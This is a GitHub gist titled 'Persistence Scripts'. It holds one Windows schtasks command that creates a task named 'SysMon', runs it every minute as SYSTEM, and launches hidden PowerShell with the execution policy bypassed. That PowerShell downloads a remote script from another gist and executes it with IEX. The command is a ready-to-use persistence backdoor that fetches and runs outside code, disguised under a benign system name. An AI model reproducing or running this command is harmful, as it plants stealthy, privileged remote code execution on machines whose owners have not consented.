Skip to content

Instantly share code, notes, and snippets.

@whokilleddb

whokilleddb/Powershell command service

Last active June 1, 2024 20:40
Show Gist options
  • Save whokilleddb/0ac4ff0df6f686df4ba949815d2cc3db to your computer and use it in GitHub Desktop.
Save whokilleddb/0ac4ff0df6f686df4ba949815d2cc3db to your computer and use it in GitHub Desktop.
Download ZIP
Persistence Scripts
Raw
Powershell command service
schtasks /create /tn SysMon /tr "powershell -ep bypass -NoLogo -WindowStyle hidden -command 'IEX (New-Object Net.WebClient).DownloadString('''https://gist.githubusercontent.com/whokilleddb/8b85ccf047a77c9ffd1f707cc866038f/raw/SysMaintain.ps1''')'" /sc minute /mo 1 /ru System
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment